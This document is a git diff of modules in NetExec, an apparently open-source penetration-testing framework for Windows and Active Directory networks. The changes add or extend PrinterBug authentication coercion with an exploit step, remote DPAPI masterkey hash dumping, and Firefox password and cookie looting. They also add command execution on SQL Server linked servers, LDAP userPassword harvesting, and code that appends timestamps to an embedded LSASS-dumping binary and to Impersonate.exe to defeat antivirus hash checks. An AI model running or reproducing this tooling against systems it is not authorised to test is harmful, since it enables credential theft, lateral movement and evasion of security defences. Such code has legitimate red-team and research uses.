||||
aesKey=connection.aesKey,
|
||||
pipe="spoolss"
|
||||
)
|
||||
pipes = ["spoolss", "[dcerpc]"]
|
||||
for pipe in pipes:
|
||||
try:
|
||||
printerbugclass = PrinterBugTrigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
printerbugconnect = printerbugclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=target,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
pipe=pipe
|
||||
)
|
||||
|
||||
if printerbugconnect is not None:
|
||||
context.log.debug("Target is vulnerable to PrinterBug")
|
||||
context.log.highlight("VULNERABLE, PrinterBug")
|
||||
if self.listener is not None: # exploit
|
||||
printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, "spoolss")
|
||||
printerbugconnect.disconnect()
|
||||
else:
|
||||
context.log.debug("Target is not vulnerable to PrinterBug")
|
||||
except Exception as e:
|
||||
context.log.error(f"Error in PrinterBug module: {e}")
|
||||
if printerbugconnect is not None:
|
||||
context.log.debug("Target is vulnerable to PrinterBug")
|
||||
context.log.highlight("VULNERABLE, PrinterBug")
|
||||
if self.listener is not None: # exploit
|
||||
exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe)
|
||||
if not self.always_continue and exploit_status:
|
||||
break
|
||||
printerbugconnect.disconnect()
|
||||
else:
|
||||
context.log.debug("Target is not vulnerable to PrinterBug")
|
||||
except Exception as e:
|
||||
context.log.error(f"Error in PrinterBug module: {e}")
|
||||
""" PRINTERBUG END """
|
||||
|
||||
if self.method == "all" or self.method[:1] == "m": # MSEven
|
||||
@@ -752,15 +757,49 @@ class PrinterBugTrigger:
|
||||
def __init__(self, context):
|
||||
self.context = context
|
||||
|
||||
def get_dynamic_endpoint(self, interface: bytes, target: str, timeout: int = 5) -> str:
|
||||
string_binding = r"ncacn_ip_tcp:%s[135]" % target
|
||||
rpctransport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpctransport.set_connect_timeout(timeout)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
self.context.log.debug(
|
||||
"Trying to resolve dynamic endpoint %s" % repr(uuid.bin_to_string(interface))
|
||||
)
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
self.context.log.warning("Failed to connect to endpoint mapper: %s" % e)
|
||||
raise e
|
||||
try:
|
||||
endpoint = epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
|
||||
self.context.log.debug(
|
||||
f"Resolved dynamic endpoint {uuid.bin_to_string(interface)!r} to {endpoint!r}"
|
||||
)
|
||||
return endpoint
|
||||
except Exception as e:
|
||||
self.context.log.debug(
|
||||
"Failed to resolve dynamic endpoint %s"
|
||||
% repr(uuid.bin_to_string(interface))
|
||||
)
|
||||
raise e
|
||||
|
||||
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
||||
binding_params = {
|
||||
"spoolss": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\spoolss]" % target,
|
||||
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
|
||||
"port": 445
|
||||
},
|
||||
"[dcerpc]": {
|
||||
"stringBinding": self.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target),
|
||||
"MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
|
||||
"port": None
|
||||
}
|
||||
}
|
||||
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
||||
rpctransport.set_dport(445)
|
||||
if binding_params[pipe]["port"] is not None:
|
||||
rpctransport.set_dport(binding_params[pipe]["port"])
|
||||
|
||||
if hasattr(rpctransport, "set_credentials"):
|
||||
rpctransport.set_credentials(
|
||||
|
||||
@@ -274,8 +274,8 @@ class NXCModule:
|
||||
self.context = context
|
||||
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
|
||||
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
|
||||
self.baseDN = connection.ldapConnection._baseDN
|
||||
self.ldap_session = connection.ldapConnection
|
||||
self.baseDN = connection.ldap_connection._baseDN
|
||||
self.ldap_session = connection.ldap_connection
|
||||
|
||||
# Searching for the principal SID
|
||||
if self.principal_sAMAccountName is not None:
|
||||
@@ -373,7 +373,7 @@ class NXCModule:
|
||||
if self.target_DN is not None:
|
||||
_lookedup_principal = self.target_DN
|
||||
target = self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchBase=_lookedup_principal,
|
||||
searchFilter=f"(distinguishedName={_lookedup_principal})",
|
||||
attributes=["nTSecurityDescriptor"],
|
||||
searchControls=controls,
|
||||
|
||||
@@ -0,0 +1,63 @@
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.masterkeys import MasterkeysTriage
|
||||
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
# Based on dpapimk2john, original work by @fist0urs
|
||||
|
||||
class NXCModule:
|
||||
name = "dpapi_hash"
|
||||
description = "Remotely dump Dpapi hash based on masterkeys"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""OUTPUTFILE Output file to write hashes"""
|
||||
self.outputfile = None
|
||||
if "OUTPUTFILE" in module_options:
|
||||
self.outputfile = module_options["OUTPUTFILE"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
try:
|
||||
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=target,
|
||||
conn=conn,
|
||||
)
|
||||
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
context.log.debug("Collecting user masterkeys")
|
||||
masterkeys_triage.triage_masterkeys()
|
||||
if self.outputfile is not None:
|
||||
with open(self.outputfile, "a+") as fd:
|
||||
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
|
||||
context.log.highlight(mkhash)
|
||||
fd.write(f"{mkhash}\n")
|
||||
else:
|
||||
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
|
||||
context.log.highlight(mkhash)
|
||||
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get masterkeys: {e}")
|
||||
@@ -84,10 +84,7 @@ class NXCModule:
|
||||
prod_results = results.setdefault(product["name"], {})
|
||||
prod_results.setdefault("pipes", []).append(pipe)
|
||||
except Exception as e:
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
context.log.fail("Error STATUS_ACCESS_DENIED while enumerating pipes, probably due to using SMBv1")
|
||||
else:
|
||||
context.log.fail(str(e))
|
||||
context.log.fail(str(e))
|
||||
|
||||
def dump_results(self, results, context):
|
||||
if not results:
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
class NXCModule:
|
||||
"""
|
||||
Enumerate SQL Server users with impersonation rights
|
||||
Module by deathflamingo
|
||||
"""
|
||||
|
||||
name = "enum_impersonate"
|
||||
description = "Enumerate users with impersonation privileges"
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
self.context = None
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
impersonate_users = self.get_impersonate_users()
|
||||
if impersonate_users:
|
||||
self.context.log.success("Users with impersonation rights:")
|
||||
for user in impersonate_users:
|
||||
self.context.log.display(f" - {user}")
|
||||
else:
|
||||
self.context.log.fail("No users with impersonation rights found.")
|
||||
|
||||
def get_impersonate_users(self) -> list:
|
||||
"""
|
||||
Fetches a list of users with impersonation rights.
|
||||
|
||||
Returns
|
||||
-------
|
||||
list: List of user names.
|
||||
"""
|
||||
query = """
|
||||
SELECT DISTINCT b.name
|
||||
FROM sys.server_permissions a
|
||||
INNER JOIN sys.server_principals b
|
||||
ON a.grantor_principal_id = b.principal_id
|
||||
WHERE a.permission_name LIKE 'IMPERSONATE%'
|
||||
"""
|
||||
res = self.mssql_conn.sql_query(query)
|
||||
return [user["name"] for user in res] if res else []
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
@@ -0,0 +1,53 @@
|
||||
class NXCModule:
|
||||
"""
|
||||
Enumerate SQL Server linked servers
|
||||
Module by deathflamingo, NeffIsBack
|
||||
"""
|
||||
|
||||
name = "enum_links"
|
||||
description = "Enumerate linked SQL Servers and their login configurations."
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
self.context = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
linked_servers = self.get_linked_servers()
|
||||
if linked_servers:
|
||||
self.context.log.success("Linked servers found:")
|
||||
for server in linked_servers:
|
||||
self.context.log.display(f" - {server}")
|
||||
else:
|
||||
self.context.log.fail("No linked servers found.")
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
|
||||
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
|
||||
if not srvs:
|
||||
self.context.log.fail("No linked servers found.")
|
||||
return
|
||||
self.context.log.success("Linked servers found:")
|
||||
for srv in srvs:
|
||||
self.context.log.display(f"Linked server: {srv['Linked Server']}")
|
||||
self.context.log.display(f" - Local login: {srv['Local Login']}")
|
||||
self.context.log.display(f" - Remote login: {srv['Remote Login']}")
|
||||
|
||||
def get_linked_servers(self) -> list:
|
||||
"""
|
||||
Fetches a list of linked servers.
|
||||
|
||||
Returns
|
||||
-------
|
||||
list: List of linked server names.
|
||||
"""
|
||||
query = "EXEC sp_linkedservers;"
|
||||
res = self.mssql_conn.sql_query(query)
|
||||
return [server["SRV_NAME"] for server in res] if res else []
|
||||
@@ -0,0 +1,40 @@
|
||||
class NXCModule:
|
||||
"""
|
||||
Enumerate SQL Server logins
|
||||
Module by deathflamingo
|
||||
"""
|
||||
|
||||
name = "enum_logins"
|
||||
description = "Enumerate SQL Server logins"
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
self.context = None
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
logins = self.get_logins()
|
||||
if logins:
|
||||
self.context.log.success("Logins found:")
|
||||
for login in logins:
|
||||
self.context.log.display(f" - {login}")
|
||||
else:
|
||||
self.context.log.fail("No logins found.")
|
||||
|
||||
def get_logins(self) -> list:
|
||||
"""
|
||||
Fetches a list of SQL Server logins.
|
||||
|
||||
Returns
|
||||
-------
|
||||
list: List of login names.
|
||||
"""
|
||||
query = "SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';"
|
||||
res = self.mssql_conn.sql_query(query)
|
||||
return [login["name"] for login in res] if res else []
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
@@ -21,7 +21,7 @@ class NXCModule:
|
||||
attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"]
|
||||
|
||||
context.log.debug(f"Search Filter={search_filter}")
|
||||
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
||||
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
||||
|
||||
trusts = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
class NXCModule:
|
||||
"""
|
||||
Execute commands on linked servers
|
||||
Module by deathflamingo
|
||||
"""
|
||||
|
||||
name = "exec_on_link"
|
||||
description = "Execute commands on a SQL Server linked server"
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = False
|
||||
|
||||
def __init__(self):
|
||||
self.mssql_conn = None
|
||||
self.context = None
|
||||
self.linked_server = None
|
||||
self.command = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
LINKED_SERVER: The name of the linked server to execute the command on.
|
||||
COMMAND: The command to execute on the linked server.
|
||||
"""
|
||||
if "LINKED_SERVER" in module_options:
|
||||
self.linked_server = module_options["LINKED_SERVER"]
|
||||
if "COMMAND" in module_options:
|
||||
self.command = module_options["COMMAND"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.mssql_conn = connection.conn
|
||||
if not self.linked_server or not self.command:
|
||||
self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.")
|
||||
return
|
||||
|
||||
self.execute_on_link()
|
||||
|
||||
def execute_on_link(self):
|
||||
"""Executes the specified command on the linked server."""
|
||||
query = f"EXEC ('{self.command}') AT [{self.linked_server}];"
|
||||
result = self.mssql_conn.sql_query(query)
|
||||
self.context.log.display(f"Command output: {result}")
|
||||
@@ -39,7 +39,7 @@ class NXCModule:
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={search_filter}")
|
||||
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
|
||||
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
|
||||
except LDAPSearchError as e:
|
||||
if e.getErrorString().find("sizeLimitExceeded") >= 0:
|
||||
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
|
||||
|
||||
+21
-14
@@ -1,5 +1,5 @@
|
||||
from dploot.lib.target import Target
|
||||
from nxc.protocols.smb.firefox import FirefoxTriage
|
||||
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -16,10 +16,11 @@ class NXCModule:
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""Dump credentials from Firefox"""
|
||||
"""COOKIES Get also Firefox cookies"""
|
||||
self.gather_cookies = "COOKIES" in module_options
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
host = connection.hostname + "." + connection.domain
|
||||
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
@@ -41,19 +42,25 @@ class NXCModule:
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
def firefox_callback(secret):
|
||||
if isinstance(secret, FirefoxData):
|
||||
url = secret.url + " -" if secret.url != "" else "-"
|
||||
context.log.highlight(f"[{secret.winuser}] {url} {secret.username}:{secret.password}")
|
||||
context.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
"FIREFOX",
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, FirefoxCookie):
|
||||
context.log.highlight(f"[{secret.winuser}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}")
|
||||
|
||||
try:
|
||||
# Collect Firefox stored secrets
|
||||
firefox_triage = FirefoxTriage(target=target, logger=context.log)
|
||||
firefox_triage = FirefoxTriage(target=target, logger=context.log, per_secret_callback=firefox_callback)
|
||||
firefox_triage.upgrade_connection(connection=connection.conn)
|
||||
firefox_credentials = firefox_triage.run()
|
||||
for credential in firefox_credentials:
|
||||
context.log.highlight(
|
||||
"[{}][FIREFOX] {} {}:{}".format(
|
||||
credential.winuser,
|
||||
credential.url + " -" if credential.url != "" else "-",
|
||||
credential.username,
|
||||
credential.password,
|
||||
)
|
||||
)
|
||||
firefox_triage.run(gather_cookies=self.gather_cookies)
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error while looting firefox: {e}")
|
||||
|
||||
@@ -40,7 +40,7 @@ class NXCModule:
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(
|
||||
resp = connection.ldap_connection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["sAMAccountName", "description"],
|
||||
sizeLimit=0,
|
||||
|
||||
@@ -121,7 +121,7 @@ class NXCModule:
|
||||
sfilter = "(DC=*)"
|
||||
|
||||
try:
|
||||
list_sites = connection.ldapConnection.search(
|
||||
list_sites = connection.ldap_connection.search(
|
||||
searchBase=search_target,
|
||||
searchFilter=sfilter,
|
||||
attributes=["dnsRecord", "dNSTombstoned", "name"],
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -20,11 +20,11 @@ class NXCModule:
|
||||
"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
searchFilter = "(objectclass=user)"
|
||||
searchFilter = "(unixUserPassword=*)"
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(
|
||||
resp = connection.ldap_connection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["sAMAccountName", "unixUserPassword"],
|
||||
sizeLimit=0,
|
||||
@@ -37,27 +37,10 @@ class NXCModule:
|
||||
nxc_logger.debug(e)
|
||||
return False
|
||||
|
||||
answers = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ""
|
||||
unixUserPassword = []
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "unixUserPassword":
|
||||
unixUserPassword = [str(i) for i in attribute["vals"]]
|
||||
if sAMAccountName != "" and len(unixUserPassword) > 0:
|
||||
answers.append([sAMAccountName, unixUserPassword])
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
|
||||
if len(answers) > 0:
|
||||
if resp:
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight(f"User: {answer[0]} unixUserPassword: {answer[1]}")
|
||||
for user in resp_parsed:
|
||||
context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['unixUserPassword']}")
|
||||
else:
|
||||
context.log.fail("No unixUserPassword Found")
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -20,11 +20,11 @@ class NXCModule:
|
||||
"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
searchFilter = "(objectclass=user)"
|
||||
searchFilter = "(userPassword=*)"
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(
|
||||
resp = connection.ldap_connection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["sAMAccountName", "userPassword"],
|
||||
sizeLimit=0,
|
||||
@@ -37,27 +37,10 @@ class NXCModule:
|
||||
nxc_logger.debug(e)
|
||||
return False
|
||||
|
||||
answers = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ""
|
||||
userPassword = []
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "userPassword":
|
||||
userPassword = [str(i) for i in attribute["vals"]]
|
||||
if sAMAccountName != "" and len(userPassword) > 0:
|
||||
answers.append([sAMAccountName, userPassword])
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
|
||||
if len(answers) > 0:
|
||||
if resp:
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight(f"User: {answer[0]} userPassword: {answer[1]}")
|
||||
for user in resp_parsed:
|
||||
context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['userPassword']}")
|
||||
else:
|
||||
context.log.fail("No userPassword Found")
|
||||
context.log.fail("No unixUserPassword Found")
|
||||
|
||||
@@ -19,7 +19,9 @@ class NXCModule:
|
||||
answers = []
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
r"""
|
||||
[REMOVED] Use the ldap flag '--groups "Administrators"' instead of the module group-mem.
|
||||
|
||||
group-mem: Specify group-mem to call the module
|
||||
GROUP: Specify the GROUP option to query for that group's members
|
||||
Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins"
|
||||
@@ -34,6 +36,9 @@ class NXCModule:
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.logger.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
|
||||
return None
|
||||
|
||||
# First look up the SID of the group passed in
|
||||
search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
|
||||
attribute = "objectSid"
|
||||
@@ -68,7 +73,7 @@ class NXCModule:
|
||||
def do_search(self, context, connection, searchFilter, attributeName):
|
||||
try:
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
|
||||
resp = connection.ldap_connection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
|
||||
context.log.debug(f"Total number of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
|
||||
@@ -37,7 +37,7 @@ class NXCModule:
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(
|
||||
resp = connection.ldap_connection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["memberOf", "primaryGroupID"],
|
||||
sizeLimit=0,
|
||||
|
||||
+18
-10
@@ -5,7 +5,7 @@
|
||||
import base64
|
||||
import re
|
||||
import sys
|
||||
|
||||
from datetime import datetime
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from pypykatz.pypykatz import pypykatz
|
||||
|
||||
@@ -34,6 +34,8 @@ class NXCModule:
|
||||
self.handlekatz_path = "/tmp/"
|
||||
self.dir_result = self.handlekatz_path
|
||||
self.useembeded = True
|
||||
# Add some random binary data to defeat AVs which check the file hash
|
||||
self.handlekatz_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
|
||||
|
||||
if "HANDLEKATZ_PATH" in module_options:
|
||||
self.handlekatz_path = module_options["HANDLEKATZ_PATH"]
|
||||
@@ -50,7 +52,7 @@ class NXCModule:
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
handlekatz_loc = self.handlekatz_path + self.handlekatz
|
||||
|
||||
|
||||
if self.useembeded:
|
||||
try:
|
||||
with open(handlekatz_loc, "wb") as handlekatz:
|
||||
@@ -78,6 +80,7 @@ class NXCModule:
|
||||
|
||||
if not p or p == "None":
|
||||
context.log.fail("Failed to execute command to get LSASS PID")
|
||||
self.delete_handlekatz_binary(connection, context)
|
||||
return
|
||||
# we get a CSV string back from `tasklist`, so we grab the PID from it
|
||||
pid = p.split(",")[1][1:-1]
|
||||
@@ -96,12 +99,15 @@ class NXCModule:
|
||||
context.log.fail("Process lsass.exe error un dump, try with verbose")
|
||||
dump = False
|
||||
|
||||
if dump:
|
||||
if not dump:
|
||||
self.delete_handlekatz_binary(connection, context)
|
||||
return
|
||||
else:
|
||||
regex = r"([A-Za-z0-9-]*\.log)"
|
||||
matches = re.search(regex, str(p), re.MULTILINE)
|
||||
if not matches:
|
||||
context.log.display("Error getting the lsass.dmp file name")
|
||||
sys.exit(1)
|
||||
return
|
||||
|
||||
machine_name = matches.group()
|
||||
context.log.display(f"Copy {machine_name} to host")
|
||||
@@ -113,12 +119,7 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error while get file: {e}")
|
||||
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
|
||||
context.log.success(f"Deleted handlekatz file on the {self.share} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
|
||||
|
||||
self.delete_handlekatz_binary()
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
|
||||
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
|
||||
@@ -182,3 +183,10 @@ class NXCModule:
|
||||
add_user_bh(credz_bh, None, context.log, connection.config)
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error opening dump file: {e}")
|
||||
|
||||
def delete_handlekatz_binary(self, connection, context):
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
|
||||
context.log.success(f"Deleted handlekatz file on the {self.share} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
from base64 import b64decode
|
||||
from os import path
|
||||
import sys
|
||||
|
||||
from datetime import datetime
|
||||
from nxc.paths import DATA_PATH
|
||||
|
||||
|
||||
@@ -29,8 +29,13 @@ class NXCModule:
|
||||
self.impersonate = "Impersonate.exe"
|
||||
self.useembeded = True
|
||||
self.token = self.cmd = ""
|
||||
|
||||
with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file:
|
||||
self.impersonate_embedded = b64decode(impersonate_file.read())
|
||||
|
||||
# Add some random binary data to defeat AVs which check the file hash
|
||||
self.impersonate_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
|
||||
|
||||
if "EXEC" in module_options:
|
||||
self.cmd = module_options["EXEC"]
|
||||
|
||||
|
||||
@@ -17,7 +17,8 @@ class NXCModule:
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No module options"""
|
||||
"""DIFFERENT show only ip address if different from target ip (Default: False)"""
|
||||
self.pivot = module_options.get("DIFFERENT", "false").lower() in ["true", "1"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
try:
|
||||
@@ -37,7 +38,11 @@ class NXCModule:
|
||||
NetworkAddr = binding["aNetworkAddr"]
|
||||
try:
|
||||
ip_address(NetworkAddr[:-1])
|
||||
context.log.highlight(f"Address: {NetworkAddr}")
|
||||
if self.pivot:
|
||||
if NetworkAddr.rstrip("\x00") != connection.host:
|
||||
context.log.highlight(f"Address: {NetworkAddr}")
|
||||
else:
|
||||
context.log.highlight(f"Address: {NetworkAddr}")
|
||||
except Exception as e:
|
||||
context.log.debug(e)
|
||||
except DCERPCException as e:
|
||||
|
||||
+228
-171
@@ -1,6 +1,8 @@
|
||||
import socket
|
||||
import ssl
|
||||
import asyncio
|
||||
import hashlib
|
||||
import random
|
||||
|
||||
from msldap.connection import MSLDAPClientConnection
|
||||
from msldap.commons.target import MSLDAPTarget
|
||||
@@ -10,19 +12,18 @@ from asyauth.common.credentials.ntlm import NTLMCredential
|
||||
from asyauth.common.credentials.kerberos import KerberosCredential
|
||||
|
||||
from asysocks.unicomm.common.target import UniTarget, UniProto
|
||||
import sys
|
||||
import contextlib
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Checks whether LDAP signing and channelbinding are required.
|
||||
Checks whether LDAP signing and LDAPS channel binding are required and/or enforced.
|
||||
|
||||
Module by LuemmelSec (@theluemmel), updated by @zblurx
|
||||
Module by LuemmelSec (@theluemmel), updated by @zblurx/@Mercury0
|
||||
Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan
|
||||
"""
|
||||
|
||||
name = "ldap-checker"
|
||||
description = "Checks whether LDAP signing and binding are required and / or enforced"
|
||||
description = "Checks whether LDAP signing and channel binding are required and / or enforced"
|
||||
